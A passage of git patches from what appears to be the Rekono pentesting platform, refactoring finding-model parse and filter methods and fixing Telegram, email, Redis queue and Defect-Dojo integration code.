accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: """Get useful information from this instance to be used in tool execution as argument. Args: @@ -299,10 +289,8 @@ class Credential(Finding): unique_fields = ["technology", "email", "username", "secret"] - def parse( - self, target: Target = None, accumulated: Dict[str, Any] = {} - ) -> Dict[str, Any]: - output = self.technology.parse(target, accumulated) if self.technology else {} + def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: + output = self.technology.parse(accumulated) if self.technology else {} for key, field in [ (InputKeyword.EMAIL.name.lower(), self.email), (InputKeyword.USERNAME.name.lower(), self.username), @@ -361,14 +349,12 @@ class Vulnerability(Finding): Finding.Filter(str, "cwe", contains=True, processor=lambda c: c.lower()), ] - def parse( - self, target: Target = None, accumulated: Dict[str, Any] = {} - ) -> Dict[str, Any]: + def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: output = {InputKeyword.CVE.name.lower(): self.cve} if self.technology: - output.update(self.technology.parse(target, accumulated)) + output.update(self.technology.parse(accumulated)) elif self.port: - output.update(self.port.parse(target, accumulated)) + output.update(self.port.parse(accumulated)) return output def defect_dojo(self) -> Dict[str, Any]: @@ -409,14 +395,12 @@ class Exploit(Finding): unique_fields = ["vulnerability", "technology", "edb_id", "reference"] - def parse( - self, target: Target = None, accumulated: Dict[str, Any] = {} - ) -> Dict[str, Any]: + def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: output = {InputKeyword.EXPLOIT.name.lower(): self.title} if self.vulnerability: - output.update(self.vulnerability.parse(target, accumulated)) + output.update(self.vulnerability.parse(accumulated)) elif self.technology: - output.update(self.technology.parse(target, accumulated)) + output.update(self.technology.parse(accumulated)) return output def defect_dojo(self) -> Dict[str, Any]: diff --git a/src/backend/framework/models.py b/src/backend/framework/models.py index 916103b6f..32c0a26d0 100644 --- a/src/backend/framework/models.py +++ b/src/backend/framework/models.py @@ -99,6 +99,9 @@ def __init__( filters: List[Filter] = [] + def _clean_path(self, value: str) -> str: + return f"/{value}" if len(value) > 1 and value[0] != "/" else value + def _get_url( self, host: str, @@ -147,7 +150,7 @@ def _compare_filter( comparison(filter, value) if not negative else not comparison(filter, value) ) - def filter(self, input: Any) -> bool: + def filter(self, input: Any, target: Any = None) -> bool: """Check if this instance is valid based on input filter. Args: @@ -186,9 +189,7 @@ def filter(self, input: Any) -> bool: pass return False - def parse( - self, target: Any = None, accumulated: Dict[str, Any] = {} - ) -> Dict[str, Any]: + def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: """Get useful information from this instance to be used in tool execution as argument. To be implemented by subclasses. diff --git a/src/backend/parameters/models.py b/src/backend/parameters/models.py index 5924bde7c..5fc8fe24e 100644 --- a/src/backend/parameters/models.py +++ b/src/backend/parameters/models.py @@ -34,9 +34,7 @@ class Meta: ) ] - def parse( - self, target: Target = None, accumulated: Dict[str, Any] = {} - ) -> Dict[str, Any]: + def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: """Get useful information from this instance to be used in tool execution as argument. Args: @@ -45,7 +43,7 @@ def parse( Returns: Dict[str, Any]: Useful information for tool executions, including accumulated if setted """ - output = self.target.parse(target, accumulated) + output = self.target.parse(accumulated) output[InputKeyword.TECHNOLOGY.name.lower()] = self.name if self.version: output[InputKeyword.VERSION.name.lower()] = self.version @@ -86,9 +84,7 @@ class Meta: ) ] - def parse( - self, target: Target = None, accumulated: Dict[str, Any] = {} - ) -> Dict[str, Any]: + def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: """Get useful information from this instance to be used in tool execution as argument. Args: @@ -97,9 +93,10 @@ def parse( Returns: Dict[str, Any]: Useful information for tool executions, including accumulated if setted """ - output = self.target.parse(target, accumulated) - output[InputKeyword.CVE.name.lower()] = self.cve - return output + return { + **self.target.parse(accumulated), + InputKeyword.CVE.name.lower(): self.cve, + } def __str__(self) -> str: """Instance representation in text format. diff --git a/src/backend/target_ports/models.py b/src/backend/target_ports/models.py index f882aad6d..8ab6ea43a 100644 --- a/src/backend/target_ports/models.py +++ b/src/backend/target_ports/models.py @@ -35,9 +35,7 @@ class Meta: ) ] - def parse( - self, target: Target = None, accumulated: Dict[str, Any] = {} - ) -> Dict[str, Any]: + def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: """Get useful information from this instance to be used in tool execution as argument. Args: @@ -46,30 +44,23 @@ def parse( Returns: Dict[str, Any]: Useful information for tool executions, including accumulated if setted """ - output = ( - self.authentication.parse(target, accumulated) - if self.authentication - else {} - ) + output = self.authentication.parse(accumulated) if self.authentication else {} ports = (accumulated or {}).get(InputKeyword.PORTS.name.lower(), []) + [ self.port ] - output.update( - { - InputKeyword.TARGET.name.lower(): self.target.target, - InputKeyword.HOST.name.lower(): self.target.target, - InputKeyword.PORT.name.lower(): self.port, - InputKeyword.PORTS.name.lower(): ports, - InputKeyword.ENDPOINT.name.lower(): self.path, - InputKeyword.PORTS_COMMAS.name.lower(): ",".join( - [str(p) for p in ports] - ), - InputKeyword.URL.name.lower(): self._get_url( - self.target.target, self.port, self.path - ), - } - ) - return output + path = self._clean_path(self.path) + return { + **output, + InputKeyword.TARGET.name.lower(): self.target.target, + InputKeyword.HOST.name.lower(): self.target.target, + InputKeyword.PORT.name.lower(): self.port, + InputKeyword.PORTS.name.lower(): ports, + InputKeyword.ENDPOINT.name.lower(): self._clean_path(path), + InputKeyword.PORTS_COMMAS.name.lower(): ",".join([str(p) for p in ports]), + InputKeyword.URL.name.lower(): self._get_url( + self.target.target, self.port, path + ), + } def __str__(self) -> str: """Instance representation in text format. diff --git a/src/backend/targets/models.py b/src/backend/targets/models.py index 4b4e963d7..c7cddcc7a 100644 --- a/src/backend/targets/models.py +++ b/src/backend/targets/models.py @@ -77,9 +77,7 @@ def get_type(target: str) -> str: params={"value": target}, ) - def parse( - self, target: Any = None, accumulated: Dict[str, Any] = {} - ) -> Dict[str, Any]: + def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: """Get useful information from this instance to be used in tool execution as argument. Args: diff --git a/src/backend/tests/executors/test_base.py b/src/backend/tests/executors/test_base.py index 1b0ed23b3..a0f177b91 100644 --- a/src/backend/tests/executors/test_base.py +++ b/src/backend/tests/executors/test_base.py @@ -100,7 +100,7 @@ def test_get_arguments_multiple_ports(self) -> None: def test_get_arguments_with_path_filter(self) -> None: self._setup_task_user_provided_entities() self._success_get_arguments( - "-p 10.10.10.10 -p http://10.10.10.10:80/login.php -p 80 -p /login.php -p WordPress -p CVE-2023-1111 -p root", + "-p 10.10.10.10 -p http://10.10.10.10:80/ -p 80 -p WordPress -p CVE-2023-1111 -p root", [self.port, self.path, self.technology, self.vulnerability], ) self.path.path = "rootpath/test" diff --git a/src/backend/tools/executors/base.py b/src/backend/tools/executors/base.py index 99ef0fbe3..09ad080f9 100644 --- a/src/backend/tools/executors/base.py +++ b/src/backend/tools/executors/base.py @@ -94,10 +94,10 @@ def _get_arguments( if is_fallback and parsed_data: break is_model = input_model and isinstance(base_input, input_model) - if (is_model or is_fallback) and base_input.filter(argument_input): - parsed_data = base_input.parse( - self.execution.task.target, parsed_data - ) + if (is_model or is_fallback) and base_input.filter( + argument_input, self.execution.task.target + ): + parsed_data = base_input.parse(parsed_data) self.findings_used_in_execution[ base_input.__class__ ] = base_input diff --git a/src/backend/wordlists/models.py b/src/backend/wordlists/models.py index bcb963c0b..a3a54827a 100644 --- a/src/backend/wordlists/models.py +++ b/src/backend/wordlists/models.py @@ -31,7 +31,7 @@ class Wordlist(BaseInput, BaseLike): filters = [BaseInput.Filter(type=WordlistType, field="type")] - def filter(self, input: Any) -> bool: + def filter(self, input: Any, target: Target = None) -> bool: """Check if this instance is valid based on input filter. Args: @@ -46,12 +46,10 @@ def filter(self, input: Any) -> bool: self.path, self.checksum ) if input.filter: # If input filter is established - return super().filter(input) and check + return super().filter(input, target) and check return check - def parse( - self, target: Target = None, accumulated: Dict[str, Any] = {} - ) -> Dict[str, Any]: + def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: """Get useful information from this instance to be used in tool execution as argument. Args: From a0ce00fa0109d721a4fc70ee4082537a5f9c3566 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Sat, 9 Dec 2023 22:51:01 +0100 Subject: [PATCH 101/141] Fix Telegram notifications --- src/backend/users/serializers.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/src/backend/users/serializers.py b/src/backend/users/serializers.py index b1f5f3658..4a44543b8 100644 --- a/src/backend/users/serializers.py +++ b/src/backend/users/serializers.py @@ -257,7 +257,8 @@ def update(self, instance: User, validated_data: Dict[str, Any]) -> User: User: Updated instance """ user = User.objects.update_password(instance, validated_data.get("password")) - Telegram().logout_after_password_change_message() + if hasattr(user, "telegram_chat"): + Telegram().logout_after_password_change_message(user.telegram_chat) return user From 755f2ba8337c28e30a4e9082a0714afc045975db Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Sat, 9 Dec 2023 22:53:27 +0100 Subject: [PATCH 102/141] Fix Telegram notifications --- src/backend/users/serializers.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/src/backend/users/serializers.py b/src/backend/users/serializers.py index 4a44543b8..5128aadcf 100644 --- a/src/backend/users/serializers.py +++ b/src/backend/users/serializers.py @@ -256,10 +256,9 @@ def update(self, instance: User, validated_data: Dict[str, Any]) -> User: Returns: User: Updated instance """ - user = User.objects.update_password(instance, validated_data.get("password")) if hasattr(user, "telegram_chat"): Telegram().logout_after_password_change_message(user.telegram_chat) - return user + return User.objects.update_password(instance, validated_data.get("password")) class ResetPasswordSerializer(PasswordSerializer, OTPSerializer): From 17ed68d690b2ade559ecd2a135564919acb4320d Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Sat, 9 Dec 2023 23:07:22 +0100 Subject: [PATCH 103/141] Fix Telegram notifications --- src/backend/users/serializers.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/backend/users/serializers.py b/src/backend/users/serializers.py index 5128aadcf..a11039537 100644 --- a/src/backend/users/serializers.py +++ b/src/backend/users/serializers.py @@ -256,7 +256,7 @@ def update(self, instance: User, validated_data: Dict[str, Any]) -> User: Returns: User: Updated instance """ - if hasattr(user, "telegram_chat"): + if hasattr(instance, "telegram_chat"): Telegram().logout_after_password_change_message(user.telegram_chat) return User.objects.update_password(instance, validated_data.get("password")) From c49519a6ebc8d3dd111dadbc946eb1964fc5bcfb Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Sat, 9 Dec 2023 23:28:20 +0100 Subject: [PATCH 104/141] Fix Telegram notifications --- src/backend/users/serializers.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/backend/users/serializers.py b/src/backend/users/serializers.py index a11039537..acdd5c114 100644 --- a/src/backend/users/serializers.py +++ b/src/backend/users/serializers.py @@ -257,7 +257,7 @@ def update(self, instance: User, validated_data: Dict[str, Any]) -> User: User: Updated instance """ if hasattr(instance, "telegram_chat"): - Telegram().logout_after_password_change_message(user.telegram_chat) + Telegram().logout_after_password_change_message(instance.telegram_chat) return User.objects.update_password(instance, validated_data.get("password")) From 8924dc8c44424cc902577ed81ec55efad03a28fd Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Sun, 10 Dec 2023 17:12:25 +0100 Subject: [PATCH 105/141] Improve error and invalid tokens handling by the Telegram bot --- src/backend/framework/models.py | 6 ++-- src/backend/platforms/telegram_app/bot/bot.py | 29 ++++++++++++------- .../platforms/telegram_app/framework.py | 21 +++++++++----- src/backend/requirements.txt | 2 +- 4 files changed, 37 insertions(+), 21 deletions(-) diff --git a/src/backend/framework/models.py b/src/backend/framework/models.py index 32c0a26d0..394d0e9c5 100644 --- a/src/backend/framework/models.py +++ b/src/backend/framework/models.py @@ -70,11 +70,13 @@ def secret(self) -> str: @secret.setter def secret(self, value: str) -> None: - if hasattr(self, self._encrypted_field) and value: + if hasattr(self, self._encrypted_field): setattr( self, self._encrypted_field, - self._encryptor.encrypt(value) if self._encryptor else value, + self._encryptor.encrypt(value) + if self._encryptor and value is not None + else value, ) diff --git a/src/backend/platforms/telegram_app/bot/bot.py b/src/backend/platforms/telegram_app/bot/bot.py index 6da0c1b6f..43269c151 100644 --- a/src/backend/platforms/telegram_app/bot/bot.py +++ b/src/backend/platforms/telegram_app/bot/bot.py @@ -22,6 +22,8 @@ ) from platforms.telegram_app.framework import BaseTelegram from platforms.telegram_app.models import TelegramSettings +from telegram.error import Forbidden, InvalidToken +from telegram.ext import Application from telegram.warnings import PTBUserWarning filterwarnings( @@ -50,27 +52,32 @@ def __init__(self) -> None: self.commands.append(Help(self.commands + [Cancel()])) super().__init__() + async def _post_init(self, application: Application) -> None: + bot_commands = [] + for command in self.commands: + bot_commands.append((command.get_name(), command.help)) + self.app.add_handler(command) + await self.app.bot.set_my_commands(bot_commands) + def _wait_for_token(self, sleep_time: int = 60) -> None: if not self.settings or not self.settings.secret: logger.info("[Telegram Bot] Waiting while Telegram token is not configured") while not self.settings or not self.settings.secret: time.sleep(sleep_time) self.settings = TelegramSettings.objects.first() - self.app = self.initialize() + self.app = self._get_app() if not self.app or not self.app.updater or not self.app.bot: - self.settings.secret = None - self.settings.save(update_fields=["_token"]) + if self.settings.secret: + self._handle_invalid_token(False) self._wait_for_token(sleep_time) def deploy(self) -> None: self._wait_for_token() if not self.app or not self.app.updater or not self.app.bot: return self.deploy() - bot_commands = [] - for command in self.commands: - bot_commands.append((command.get_name(), command.help)) - self.app.add_handler(command) - asyncio.get_event_loop().run_until_complete( - self.app.bot.set_my_commands(bot_commands) - ) - self.app.run_polling() + try: + asyncio.set_event_loop(asyncio.new_event_loop()) + self.app.run_polling() + except (InvalidToken, Forbidden): + self._handle_invalid_token() + return self.deploy() diff --git a/src/backend/platforms/telegram_app/framework.py b/src/backend/platforms/telegram_app/framework.py index 85f1a0f44..3dd22852b 100644 --- a/src/backend/platforms/telegram_app/framework.py +++ b/src/backend/platforms/telegram_app/framework.py @@ -1,11 +1,11 @@ import asyncio import logging -from typing import Any +from typing import Any, List from platforms.telegram_app.models import TelegramChat, TelegramSettings from telegram.constants import ParseMode from telegram.error import Forbidden, InvalidToken -from telegram.ext import ApplicationBuilder +from telegram.ext import Application from telegram.helpers import escape_markdown logger = logging.getLogger() @@ -32,11 +32,17 @@ def get_bot_name(self) -> str: def _get_app(self) -> Any: if self.settings and self.settings.secret: try: - return ApplicationBuilder().token(self.settings.secret).build() + return ( + Application.builder() + .token(self.settings.secret) + .post_init(self._post_init) + .build() + ) except (InvalidToken, Forbidden): self._handle_invalid_token() - except Exception: - logger.error("[Telegram] Error creating updater") + + async def _post_init(self, application: Application) -> None: + pass def _send_message( self, chat: TelegramChat, message: str, reply_markup: Any = None @@ -54,8 +60,9 @@ def _send_message( def _escape(self, value: str) -> str: return escape_markdown(value, version=2) - def _handle_invalid_token(self) -> None: - logger.error("[Telegram] Authentication error") + def _handle_invalid_token(self, log_error: bool = True) -> None: self.settings.secret = None self.settings.save(update_fields=["_token"]) self.app = None + if log_error: + logger.error("[Telegram] Authentication error") diff --git a/src/backend/requirements.txt b/src/backend/requirements.txt index b08c9cf96..7d5373612 100644 --- a/src/backend/requirements.txt +++ b/src/backend/requirements.txt @@ -12,7 +12,7 @@ psycopg2-binary==2.9.6 pyjwt==2.7.0 python-magic==0.4.27 python-libnmap==0.7.3 -python-telegram-bot==20.6 +python-telegram-bot==20.7 pyyaml==6.0.1 requests==2.31.0 rq==1.15.1 From 99a49f9124a84401b69f1f1c46a887aa7139eb0f Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Sun, 10 Dec 2023 18:24:29 +0100 Subject: [PATCH 106/141] Fix background email sending --- src/backend/platforms/mail/notifications.py | 31 +++++++++++---------- src/backend/requirements.txt | 3 +- 2 files changed, 19 insertions(+), 15 deletions(-) diff --git a/src/backend/platforms/mail/notifications.py b/src/backend/platforms/mail/notifications.py index 5d14030fc..cf86f4a05 100644 --- a/src/backend/platforms/mail/notifications.py +++ b/src/backend/platforms/mail/notifications.py @@ -1,7 +1,9 @@ import logging +import os import threading from typing import Any, Dict, List +import certifi from django.core.mail import EmailMultiAlternatives from django.core.mail.backends.smtp import EmailBackend from django.template.loader import get_template @@ -32,7 +34,9 @@ def __init__(self) -> None: if self.settings else None ) - self.datetime_format = "%Y-%m-%d %H:%M" + self.datetime_format = "%Y-%m-%d %H:%M %Z" + # The trusted certificates must be defined + os.environ["SSL_CERT_FILE"] = certifi.where() def is_available(self) -> bool: if not self.settings or not self.settings.host or not self.settings.port: @@ -49,23 +53,22 @@ def _send_messages_in_background( ) -> None: threading.Thread( target=self._send_messages, args=(users, subject, template, data) - ) + ).start() def _send_messages( self, users: List[Any], subject: str, template: str, data: Dict[str, Any] ) -> None: - if self.is_available(): - try: - message = EmailMultiAlternatives( - subject, "", "Rekono ", [u.email for u in users] - ) - template = get_template(template) - data["rekono_url"] = CONFIG.frontend_url - # nosemgrep: python.flask.security.xss.audit.direct-use-of-jinja2.direct-use-of-jinja2 - message.attach_alternative(template.render(data), "text/html") - self.backend.send_messages([message]) - except Exception: - logger.error("[Mail] Error sending email message") + try: + message = EmailMultiAlternatives( + subject, "", "Rekono ", [u.email for u in users] + ) + template = get_template(template) + data["rekono_url"] = CONFIG.frontend_url + # nosemgrep: python.flask.security.xss.audit.direct-use-of-jinja2.direct-use-of-jinja2 + message.attach_alternative(template.render(data), "text/html") + self.backend.send_messages([message]) + except: + logger.error("[Mail] Error sending email message") def _notify_execution( self, users: List[Any], execution: Execution, findings: List[Finding] diff --git a/src/backend/requirements.txt b/src/backend/requirements.txt index 7d5373612..8fd210257 100644 --- a/src/backend/requirements.txt +++ b/src/backend/requirements.txt @@ -1,6 +1,7 @@ +certifi==2023.11.17 cryptography==41.0.5 defusedxml==0.7.1 -Django==4.2.7 +Django==4.2.8 djangorestframework==3.14.0 djangorestframework-simplejwt==5.2.2 django-filter==23.2 From 12762b394afa0bead330c2082fe61346e57158fa Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Tue, 26 Dec 2023 17:11:57 +0100 Subject: [PATCH 107/141] Fix Redis queues, Defect-Dojo integration, Telegram notifications and filters --- .gitignore | 6 +- src/backend/authentications/models.py | 1 - src/backend/executions/queues.py | 34 +++++----- src/backend/findings/framework/models.py | 5 +- src/backend/findings/models.py | 24 ++++++- src/backend/findings/queues.py | 11 ++-- src/backend/framework/models.py | 66 +++++++++++-------- src/backend/framework/queues.py | 24 ++++--- .../platforms/defect_dojo/integrations.py | 41 ++++++++---- .../platforms/defect_dojo/serializers.py | 3 +- src/backend/platforms/defect_dojo/views.py | 32 ++++++--- .../notifications/notifications.py | 7 +- .../telegram_app/notifications/templates.py | 2 +- src/backend/rekono/settings.py | 5 +- src/backend/rekono/urls.py | 2 + src/backend/tasks/queues.py | 56 +++++++++------- src/backend/tools/executors/base.py | 8 ++- src/backend/tools/fixtures/5_inputs.json | 30 ++++----- src/backend/tools/parsers/dirsearch.py | 20 +++--- src/backend/tools/parsers/nikto.py | 5 +- 20 files changed, 232 insertions(+), 150 deletions(-) diff --git a/.gitignore b/.gitignore index 567cab7e7..9736d1097 100644 --- a/.gitignore +++ b/.gitignore @@ -132,9 +132,9 @@ dmypy.json .DS_Store .vscode/ .scannerwork/ -./reports/ -./wordlists/ -./logs/ +reports/ +wordlists/ +logs/ /static/ /src/backend/tests/home/ diff --git a/src/backend/authentications/models.py b/src/backend/authentications/models.py index d6134032a..0ae807b35 100644 --- a/src/backend/authentications/models.py +++ b/src/backend/authentications/models.py @@ -7,7 +7,6 @@ from framework.models import BaseEncrypted, BaseInput from security.input_validator import Regex, Validator from target_ports.models import TargetPort -from targets.models import Target # Create your models here. diff --git a/src/backend/executions/queues.py b/src/backend/executions/queues.py index 9afdd871a..3f0a1f11f 100644 --- a/src/backend/executions/queues.py +++ b/src/backend/executions/queues.py @@ -22,9 +22,7 @@ class ExecutionsQueue(BaseQueue): - def __init__(self) -> None: - super().__init__("executions-queue") - self.findings_queue = FindingsQueue() + name = "executions-queue" def enqueue( self, @@ -37,8 +35,8 @@ def enqueue( dependencies: List[Job] = [], at_front: bool = False, ) -> Job: - job = self.queue.enqueue( - self.consume.__func__, + job = self._get_queue().enqueue( + self.consume, execution=execution, findings=findings, target_ports=target_ports, @@ -63,9 +61,9 @@ def enqueue( execution.save(update_fields=["rq_job_id"]) return job + @staticmethod @job("executions-queue") def consume( - self, execution: Execution, findings: List[Finding], target_ports: List[TargetPort], @@ -84,7 +82,7 @@ def consume( input_vulnerabilities, input_technologies, wordlists, - ) = self._get_findings_from_dependencies( + ) = ExecutionsQueue._get_findings_from_dependencies( executor, target_ports, input_vulnerabilities, @@ -98,11 +96,11 @@ def consume( executor, execution.output_plain ) parser.parse() - self.findings_queue.enqueue(execution, parser.findings) + FindingsQueue().enqueue(execution, parser.findings) return execution, parser.findings + @staticmethod def _get_findings_from_dependencies( - self, executor: BaseExecutor, target_ports: List[TargetPort], input_vulnerabilities: List[InputVulnerability], @@ -111,15 +109,16 @@ def _get_findings_from_dependencies( current_job: Job, ) -> Dict[int, List[BaseInput]]: findings = [] + queue = ExecutionsQueue._get_queue() for dependency_id in current_job._dependency_ids: - dependency = self.queue.fetch_job(dependency_id) + dependency = queue.fetch_job(dependency_id) if dependency and dependency.result: findings.extend(dependency.result[1]) if not findings: return findings executions = [ e - for e in self._calculate_executions( + for e in ExecutionsQueue._calculate_executions( executor.execution.configuration.tool, findings, target_ports, @@ -141,7 +140,7 @@ def _get_findings_from_dependencies( configuration=executor.execution.configuration, group=executor.execution.group, ) - job = self.enqueue( + job = queue.enqueue( new_execution, execution.get(0, []), execution.get(1, []), @@ -153,15 +152,16 @@ def _get_findings_from_dependencies( ) new_jobs.append(job.id) if new_jobs: - registry = DeferredJobRegistry(queue=self.queue) + instance = ExecutionsQueue() + registry = DeferredJobRegistry(queue=queue) for pending_job_id in registry.get_job_ids(): - pending_job = self.queue.fetch_job(pending_job_id) + pending_job = queue.fetch_job(pending_job_id) if pending_job and current_job.id in pending_job._dependency_ids: dependencies = pending_job._dependency_ids meta = pending_job.get_meta() - self.cancel_job(pending_job_id) - self.delete_job(pending_job_id) - self.enqueue( + instance.cancel_job(pending_job_id) + instance.delete_job(pending_job_id) + instance.enqueue( meta["execution"], [], meta["target_ports"], diff --git a/src/backend/findings/framework/models.py b/src/backend/findings/framework/models.py index d55a5512c..4f3a27ad2 100644 --- a/src/backend/findings/framework/models.py +++ b/src/backend/findings/framework/models.py @@ -1,7 +1,6 @@ -from typing import Any, Dict, List +from typing import Any, Dict -from django.core.exceptions import NON_FIELD_ERRORS -from django.db import connection, models +from django.db import models from executions.models import Execution from findings.enums import TriageStatus from framework.models import BaseInput diff --git a/src/backend/findings/models.py b/src/backend/findings/models.py index 619ffb8bb..976a42c83 100644 --- a/src/backend/findings/models.py +++ b/src/backend/findings/models.py @@ -199,14 +199,34 @@ def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: InputKeyword.ENDPOINT.name.lower(): path, } - def defect_dojo(self) -> Dict[str, Any]: + def defect_dojo_endpoint(self, target: Target) -> Dict[str, Any]: return { "protocol": self.port.service if self.port else None, - "host": self.port.host.address if self.port and self.port.host else None, + "host": self.port.host.address + if self.port and self.port.host + else target.target, "port": self.port.port if self.port else None, "path": self.path, } + def defect_dojo(self) -> Dict[str, Any]: + description = f"Path: {self.path}\nType: {self.type}" + for key, value in [("Status", self.status), ("Info", self.extra_info)]: + if value: + description = f"{description}\n{key}: {value}" + if self.port: + description = f"Port: {self.port.port}\n{description}" + if self.port.host: + description = f"Host: {self.port.host.address}\n{description}" + return { + "title": "Path discovered", + "description": description, + "severity": Severity.INFO, + "date": self.last_seen.strftime( + DefectDojoSettings.objects.first().date_format + ), + } + def __str__(self) -> str: return f"{f'{self.port.__str__()} - ' if self.port else ''}{self.path}" diff --git a/src/backend/findings/queues.py b/src/backend/findings/queues.py index 68841cec9..c46b025af 100644 --- a/src/backend/findings/queues.py +++ b/src/backend/findings/queues.py @@ -15,8 +15,7 @@ class FindingsQueue(BaseQueue): - def __init__(self) -> None: - super().__init__("findings-queue") + name = "findings-queue" def enqueue(self, execution: Execution, findings: List[Finding]) -> Job: job = super().enqueue(execution=execution, findings=findings) @@ -25,7 +24,9 @@ def enqueue(self, execution: Execution, findings: List[Finding]) -> Job: ) return job + @staticmethod @job("findings-queue") - def consume(self, execution: Execution, findings: List[Finding]) -> List[Finding]: - for platform in [NvdNist, DefectDojo, SMTP, Telegram]: - platform.process_findings(execution, findings) + def consume(execution: Execution, findings: List[Finding]) -> List[Finding]: + if findings: + for platform in [NvdNist, DefectDojo, SMTP, Telegram]: + platform().process_findings(execution, findings) diff --git a/src/backend/framework/models.py b/src/backend/framework/models.py index 394d0e9c5..66db8f1f8 100644 --- a/src/backend/framework/models.py +++ b/src/backend/framework/models.py @@ -152,7 +152,7 @@ def _compare_filter( comparison(filter, value) if not negative else not comparison(filter, value) ) - def filter(self, input: Any, target: Any = None) -> bool: + def filter(self, argument_input: Any, target: Any = None) -> bool: """Check if this instance is valid based on input filter. Args: @@ -161,34 +161,46 @@ def filter(self, input: Any, target: Any = None) -> bool: Returns: bool: Indicate if this instance match the input filter or not """ - if not input.filter: + if not argument_input.filter: return True - for filter_value in input.filter.split(" or "): - negative = filter_value.startswith("!") - if negative: - filter_value = filter_value[1:] - for filter in self.filters: - field_value = getattr(self, filter.field) - if filter.processor: - field_value = filter.processor(field_value) - try: - if ( - issubclass(filter.type, models.TextChoices) - and self._compare_filter( - filter.type[filter_value.upper()], field_value, negative - ) - ) or ( - hasattr(self, filter_value) - and self._compare_filter( - filter.type(getattr(self, filter_value)), - field_value, - negative, - filter.contains, - ) - ): + filter_value = argument_input.filter + for split, or_condition in [(" or ", True), (" and ", False)]: + if split not in filter_value and or_condition: + continue + for match_value in filter_value.split(split): + negative = match_value.startswith("!") + if negative: + match_value = match_value[1:] + for filter in self.filters: + and_condition = False + field_value = getattr(self, filter.field) + if filter.processor: + field_value = filter.processor(field_value) + try: + if ( + issubclass(filter.type, models.TextChoices) + and self._compare_filter( + filter.type[match_value.upper()], field_value, negative + ) + ) or ( + hasattr(self, match_value) + and self._compare_filter( + filter.type(getattr(self, match_value)), + field_value, + negative, + filter.contains, + ) + ): + if or_condition: + return True + else: + and_condition = True + elif not or_condition: + return False + except (ValueError, KeyError) as ex: + continue + if not or_condition and and_condition: return True - except (ValueError, KeyError): - pass return False def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: diff --git a/src/backend/framework/queues.py b/src/backend/framework/queues.py index 1cceda56f..501758b9c 100644 --- a/src/backend/framework/queues.py +++ b/src/backend/framework/queues.py @@ -8,6 +8,7 @@ from input_types.models import InputType from parameters.models import InputTechnology, InputVulnerability from rq.job import Job +from rq.queue import Queue from target_ports.models import TargetPort from tools.models import Input, Tool from wordlists.models import Wordlist @@ -16,30 +17,33 @@ class BaseQueue: - def __init__(self, name: str) -> None: - self.name = name - self.queue = django_rq.get_queue(name) + name = "" + + def _get_queue(self) -> Queue: + return django_rq.get_queue(self.name) def cancel_job(self, job_id: str) -> Job: - job = self.queue.fetch_job(job_id) + job = self._get_queue().fetch_job(job_id) if job: logger.info(f"[{self.name}] Job {job_id} has been cancelled") job.cancel() def delete_job(self, job_id: str) -> Job: - job = self.queue.fetch_job(job_id) + job = self._get_queue().fetch_job(job_id) if job: logger.info(f"[{self.name}] Job {job_id} has been deleted") job.delete() def enqueue(self, **kwargs: Any) -> Job: - return self.queue.enqueue(self.consume.__func__, **kwargs) + return self._get_queue().enqueue(self.consume, **kwargs) - def consume(self, **kwargs: Any) -> Any: + @staticmethod + def consume(**kwargs: Any) -> Any: pass + @staticmethod def _get_findings_by_type( - self, findings: List[Finding] + findings: List[Finding], ) -> Dict[InputType, List[Finding]]: findings_by_type = {} for finding in findings: @@ -55,8 +59,8 @@ def _get_findings_by_type( ) ) + @staticmethod def _calculate_executions( - self, tool: Tool, findings: List[Finding], target_ports: List[TargetPort], @@ -66,7 +70,7 @@ def _calculate_executions( ) -> List[Dict[int, List[BaseInput]]]: executions = [{0: []}] input_types_used = set() - findings_by_type = self._get_findings_by_type(findings) + findings_by_type = BaseQueue._get_findings_by_type(findings) for index, input_type, source in [ (0, t, list(f)) for t, f in (findings_by_type or {}).items() if f ] + [ diff --git a/src/backend/platforms/defect_dojo/integrations.py b/src/backend/platforms/defect_dojo/integrations.py index 124920d0e..5846b115b 100644 --- a/src/backend/platforms/defect_dojo/integrations.py +++ b/src/backend/platforms/defect_dojo/integrations.py @@ -5,7 +5,7 @@ import requests from django.utils import timezone from executions.models import Execution -from findings.enums import Severity +from findings.enums import PathType, Severity from findings.framework.models import Finding from findings.models import Path from framework.platforms import BaseIntegration @@ -14,6 +14,8 @@ DefectDojoSync, DefectDojoTargetSync, ) +from requests.exceptions import HTTPError +from targets.models import Target class DefectDojo(BaseIntegration): @@ -32,7 +34,7 @@ def __init__(self) -> None: def _request( self, method: callable, url: str, json: bool = True, **kwargs: Any ) -> Any: - super()._request( + return super()._request( method, f"{self.settings.server}/api/v2{url}", json, @@ -60,8 +62,12 @@ def is_available(self) -> bool: except: return False - def exists(self, entity_name: str, id: int) -> None: - self._request(self.session.get, f"/{entity_name}/{id}/") + def exists(self, entity_name: str, id: int) -> bool: + try: + self._request(self.session.get, f"/{entity_name}/{id}/") + return True + except: + return False def create_product_type(self, name: str, description: str) -> Dict[str, Any]: return self._request( @@ -127,12 +133,17 @@ def _create_test( }, ) - def _create_endpoint(self, product: int, endpoint: Path) -> Dict[str, Any]: - return self._request( - self.session.post, - "/endpoints/", - 